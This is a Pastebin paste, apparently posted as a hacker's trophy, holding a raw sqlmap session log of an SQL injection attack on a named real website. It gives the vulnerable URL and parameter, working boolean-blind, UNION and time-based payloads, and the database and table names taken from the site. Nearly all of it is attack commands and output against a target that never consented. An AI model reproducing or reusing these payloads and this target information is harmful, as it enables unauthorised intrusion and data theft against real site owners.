Advertisement
Islam-Hacker

Database:bobbytulloch.com "By JM511"

Aug 24th, 2012
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. Hackers Follow me
  2. www.twitter.com/JM511
  3. Published by JM511
  4. From : Saudi Arabia
  5. ===================
  6. bobbytulloch.com
  7.  
  8. [19:27:12] [INFO] the back-end DBMS is MySQL
  9.  
  10. web application technology: Apache 2.2.22, PHP 5.2.9
  11. back-end DBMS: MySQL 5.0.11
  12. [19:27:12] [INFO] fetching database names
  13. available databases [2]:
  14. [*] bobbytul_database
  15. [*] information_schema
  16.  
  17. [19:27:12] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.bobbytulloch.com'
  18.  
  19. [*] shutting down at 19:27:12
  20.  
  21. root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://www.bobbytulloch.com/categories.php?id=1 -D bobbytul_database --tables
  22.  
  23. sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
  24. http://sqlmap.org
  25.  
  26. [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
  27.  
  28. [*] starting at 19:27:23
  29.  
  30. [19:27:23] [INFO] resuming back-end DBMS 'mysql'
  31. [19:27:25] [INFO] testing connection to the target url
  32. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  33. ---
  34. Place: GET
  35. Parameter: id
  36. Type: boolean-based blind
  37. Title: AND boolean-based blind - WHERE or HAVING clause
  38. Payload: id=1 AND 2044=2044
  39.  
  40. Type: UNION query
  41. Title: MySQL UNION query (NULL) - 11 columns
  42. Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a73786b3a,0x4f6b7355546a7a666b46,0x3a726d673a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
  43.  
  44. Type: AND/OR time-based blind
  45. Title: MySQL > 5.0.11 AND time-based blind
  46. Payload: id=1 AND SLEEP(5)
  47. ---
  48.  
  49. [19:27:27] [INFO] the back-end DBMS is MySQL
  50.  
  51. web application technology: Apache 2.2.22, PHP 5.2.9
  52. back-end DBMS: MySQL 5.0.11
  53. [19:27:27] [INFO] fetching tables for database: 'bobbytul_database'
  54. Database: bobbytul_database
  55. [9 tables]
  56. +-------------+
  57. | areas |
  58. | categories |
  59. | galleries |
  60. | generic |
  61. | images |
  62. | img2categ |
  63. | links |
  64. | linkscategs |
  65. | paragraphs |
  66. +-------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement